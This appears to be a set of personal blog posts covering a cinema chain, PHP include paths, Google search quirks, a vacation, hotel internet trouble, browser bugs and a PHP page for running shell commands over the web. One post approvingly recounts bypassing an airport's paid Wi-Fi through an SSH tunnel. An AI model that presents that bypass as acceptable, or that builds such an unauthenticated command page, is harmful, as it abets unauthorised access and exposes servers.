First, I want to write a little about the Alamo Draft House, which is a local Austin theater chain (though it has expanded). I really enjoy going there for movies for the atmosphere, which includes:
No children under 6 (unless otherwise noted)
Food and drinks
[Sometimes] themed food and pre-movie entertainment relating to the movie (my friends went there for the Indiana Jones opening and there were snake handlers with rattlesnakes and a cobra ^_^)
Playings of old good and/or cult classic movies
They also often organize shows, parties, and other events, including organizing the recent Austin branch of the largest [worldwide] Thriller dance event. I have been told they are one of the most profitable theater chains in history.
Anywho, I was there yesterday for the first showing (7pm) of the new Star Trek movie. Since I’m not a movie critic, I won’t say more than the fact that I thought it was absolutely spectacular, and Alamo’s pre-movie Star Trek themed clips were hilarious. I do however want to share their themed food menu.
I think I went a bit overbored on the themed drinks. I had the worst headache afterwards x.x;
In PHP, you cannot include files in parent directories “../” from a file that has already been included from another file in a different directory. This has been a nuisance for a long time.
Here is a test case: (Files followed by their code)
/test1.php (This is the file that is called directly by the browser/apache)
<?
//This all works fine
print 'test1'_start;
require('foo/bar/test2.php');
print 'test1_end';
?>
/foo/bar/test2.php
<?
print 'test2_start';
require('blah/test3.php'); //This works fine because the include file it is in a subdirectory, not a parent directory of test2.php
require('../test4.php'); //This does not call fine (an error is thrown by php) because it is in a parent directory relative to test2.php, which was already included from the parent file (test1.php) in another directory (/). To fix this, use 'foo/test4.php'
print 'test2_end';
?>
/foo/bar/blah/test3.php
<? print 'test3'; ?>
/foo/test4.php (This file is not reached by this example without the fixes mentioned in either the comment in test2.php, or below)
<? print 'test4'; ?>
The obvious method to fix this whole conundrum is to always set all includes relative to one root path, and then make sure that path is always used with the set_include_path function if your parent file is not in the root directory. For example:
Another method would be to write a require/include wrapper that calculates paths from the current directory whenever a parent path “../” is used. Here is an example of this:
function _require($IncludeFile, $CurrentFile)
{
$CurrentPath=preg_replace('/[^\/]+$/', '', $CurrentFile); //Remove the filename to get the current path
require(realpath("$CurrentPath$IncludeFile"));
}
This method is called with 2 parameters: the relative path from the current include file to the file you want to include, and __FILE__
For example, line 4 of “/foo/bar/test2.php” above would now be:
_require('../test4.php', __FILE__);
The first line of the _require function could also be removed by using the __DIR__ constant (instead of __FILE__) which was added in PHP 5.3.0.
Has Google been removing search options to make things run faster?
I’ve been meaning to get searching working on my site for what seems like forever, and I decided to finally get around to getting some manner of search working via the temporary “use Google” solution. Unfortunately, it seems Google no longer does boolean searches completely properly as advertised. I am sure Google Search still supports boolean logic (as opposed to the assumed “and” between each word) because the Advanced Search, linked to from their front page, still has it, and it returns a few of the results it should.
As an example:
If I wanted to search the Projects and Updates sections of my sites for either the keywords fractal or font I would use the following search:
(site:www.castledragmire.com/Projects OR site:www.castledragmire.com/Updates) AND (Fractal OR Font)
This currently only returns 3 results, when it should return 11 different results, enumerated by using the 4 separate searches (with return results):
Because of this, I need to go ahead and get real searching up via MySQL (or possibly another solution), as originally planned, sooner than later, since Google will not work as a temporary solution for what I want.
I wrote up a paper on what could be done through Google Search over 5 years ago as a job request [to be posted soon], which I believe is very informative. I’m sure it’s a little outdated, but it shows how much can Google can [could] do for you.
“Can you hear me now?” ... Thor, did I just do that clichéd line? x.x;
Hmm, I’m currently stuck at an outlet mall between Las Vegas and Hollywood for 3 or so hours while the highway is closed down. They are apparently blowing up a chunk of a mountain so they can expand the highway (I-15 South). My vacation has been very event filled so far, with barely enough time to get stuff done, so I figure while I’m stuck here, I might as well get one of the posts I’ve been meaning to do out of the way :-).
The highlights of my vacation so far have included:
2 days at Disney Land, which was lots of fun :-)
3 days in Las Vegas which included:
A little gambling
Seeing lots of casinos and free shows
My travel companion’s wedding
Destroying my ankles from walking to each casino to catch all the shows in time. Each Casino is 3-6 blocks long and has so much in them, it feels overwhelming! There’s just too much to see!
The Grand Canyon, which was magnificent, majestic, and breathtaking. We also crossed over the Hoover Dam on the way there.
We are now heading to Hollywood for the rest of the vacation ^_^.
I am still kind of anxious to get back home, see my kitty, and resume normal life though. This is a lot of activity for an extended period of time for me.
Anyways, Verizon has failed me for the first time ever in the US :-(. I got no signal at the Grand Canyon, doh. That’s all I had to report though, heh. And I’m not really complaining, because Verizon still gets far better signals in far more places than the other phone services I’ve tried.
America: Definitely not the most wired or wireless country
Wow, I’m sitting here at 11:45 at night (PST 1/30/2009) with no Internet [this post has been delayed going live until an Internet connection was established]. The hotel we are staying at (The Anaheim Park Hotel at Harbor and 91 in Fullerton) had advertised when reservations were made much earlier that they had free Internet. Alas, they do not. I called the front desk and asked about this, and they told me their free Internet was broken and that they have been trying to fix it. I told them I was a networking expert and might be able to help, to which they replied something to the extent of “we already have networking experts who have been working on it for a few days, but thanks”. This was an obvious lie because it would not take any “networking expert” more than a day to fix this kind of problem, but I did not feel like pushing the issue.
The pay for wireless-Internet service for the hotel is done through Wayport, and it has been very finicky. When I tried to get on earlier tonight the process was breaking after my credit card was submitted for processing. I submitted it 5 or 6 times over a period of time and it broke at the same place each time with an error message something to the extent of “there was an error processing your request. Please try again”. Later on, I couldn’t even get past the main Wayport page to any other section. All pages were returned as zero byte files with no header, which was confirmed through packet sniffing.
I blame the fact that the server is “AOLServer” :-).
So, anyways, I called the front desk who had a “technician” come up and he told me to call Wayport. He also told me they did not provide free Internet anymore, and hadn’t for a while, directly contradicting the front desk representative....
So I called the provided Wayport tech support number... which gave me a beeping error signal. I think it was an invalid phone number beeping, but it could have been a busy signal. I tried multiple times, and got the same error response each time, so I couldn’t get through to technical support that way. I tried the general Wayport phone number, and went to the tech support section that way, which asked me to leave a voice message. How crappy and unprofessional :-\. I am giving up for the night in hopes that I can get online in the morning.
I had contemplated getting a Verizon Aircard (wireless Internet for computers over wireless phone waves) for this 10 day trip, but decided I probably wouldn’t need it as most places would provide wireless. How wrong I was. I wish I had now, as it would have been especially helpful at airports and many other times. I have had previous experience with using Verizon Aircards over many months and was very very pleased with the service. Even an iPhone might have been nice... if only it wasn’t only AT&T >:-(.
I really hate web browser scripting due to the multitude of interoperability problems
I’ve been incredibly busy lately, especially with work, but I finally have some time for personal stuff like posting again, yay. I’m currently stuck at the airport, and am leaving at 7AM this morning on vacation for 10 days on a tour of the west coast (Los Angeles, Disney World, Hollywood, Las Vegas, Grand Canyon, etc). The main reason for this get away is I’ll be meeting up with a good friend and his fiancée for their vacation and will be attending his wedding in Las Vegas ^_^.
I am currently on one of those open network connections at the airport that you have to pay to use, tunneled through one of my SSH servers, so I can bypassing their pay service and get online for free to post this :-). Hey, it’s their own fault for not securing it properly lol. I periodically kept getting dropped connections due to a weak signal, so I had to get back up after finding the connection and walk around, using my iPod to detect signal strengths until I found a better area with a stronger signal because. The thing is proving to be very useful ^_^. Anywho, on to the content of the post.
I’ve recently run into a number of new bugs [new to me at least] in both IE (version 7) and Firefox (version 3) that I have not encountered before and, as usual, have to program around to accomplish my tasks. I thought I’d discuss 3 of these bugs.
Relative (non absolute) base URL paths do not work in either Firefox or Internet Explorer.
Setting a base path for a website is often a necessity for websites that have web pages that are in subdirectories beyond the websites’s root directory. The reason for this is that the page-common layout of a web page usually refers to all images and content in a relative path. This is done for multiple reasons including:
Ease of moving the site between addresses like for test stages, or if the site is served from multiple domain names.
It’s easier to read source code URLs this way
It makes the HTML files smaller; though this isn’t a problem for most users these days because internet connection speeds are much faster.
An example of W3C valid code that produces this error is as follows:
<head><base href="/MySite/">
The code, unfortunately, has to be an absolute URL like the following for current versions of IE and Firefox.
<head><base href="http://domain.com/MySite/">
One simple method to solve this problem is to use JavaScript to set an absolute base URL. Unfortunately, this then requires web browsers to have JavaScript enabled to work :-\. For this reason, this is really a quick fix for internal use that shouldn’t be put into production use unless JavaScript is required anyways.
The following code will set a base of “http://domain.com/MySite/” for “http://domain.com/MySite/Posts/Post1.html”.
<head>
<script type="text/javascript">
function GetBase() //Get the directory above the current path’s URL
{
return document.location.protocol+ //The protocol ("http:" or "https:")
'//'+ //End the protocol section with a //
document.location.hostname+ //The host (domain)
document.location.pathname.replace(/(\/[^/]*){2}$/,'')+ //This moves up 1 directory from the current path. To move up more directories, set the "2" in this line to NumberOfDirectoriesToMoveUp+1
'/'; //Add a '/' to set the end of the path as a directory
}
document.write('<base href="'+GetBase()+'">'); //Write a BASE object to set the current web page’s base URL to GetBase()
</script>
</head>
A simpler solution is to just have your parsing language (PHP for example) detect the server you are running on and set the proper base URL accordingly. This method assumes you know all the possible places/addresses your website will run on.
Reserved keywords in IE cannot be used as object members
Example (JavaScript):
var MyObject={};
MyObject.return=function() { return true; }
Solution: Instances of this must be encoded in strings
var MyObject={};
MyObject['return']=function() { return true; }
This also occurs for other reserved keywords like “debugger” and “for”.
IE’s window does not have the “hasOwnProperty” member function like ALL OTHER OBJECTS
This is a major nuisance because trying to find out if a variable exists and is not a prototype in the global scope is an important function. *sighs*
The fix for this is using “window.VARIABLE!==undefined”, though this won’t tell you if the variable is actually instanced or [again] if it is part of the prototype; only if it is defined.
One more JavaScript engine difference between IE and Firefox is that in IE you can’t end a hash with an empty member. For example, the following works in Firefox, but not IE:
var b={a:1, b:2, c:3, d:4, };
This shouldn’t really be done anyways, so it’s not really a problem IMO. I ran across this when converting some bad Perl code (generated by YACC) which coincidentally allows this.
I recently had to do some work on a system where I was not allowed SSH/telnet access. Trying to do work strictly across ftp can take hours, especially when you have thousands of files to transfer, so I came up with a quick solution in PHP for simple command line access.
This code allows you to enter commands on separate lines in the top box, and after the form is submitted, the output of each command is entered into the bottom box separated by dashed lines.
Note that between each command the environment is reset, so commands like "cd" which change the current directory are not useable :-(. You must also change the line 'action="exec.php"' to reflect the name you give the file.
A more suitable solution would be possible through AJAX and a program that redirected console output from a persistent session, but this was just meant as quick fix :-).
Time for another year, wee, and with that, I’m going to take a bit of a hiatus again from posting. When I return, no more schedules. Just posting when I feel like it :-).
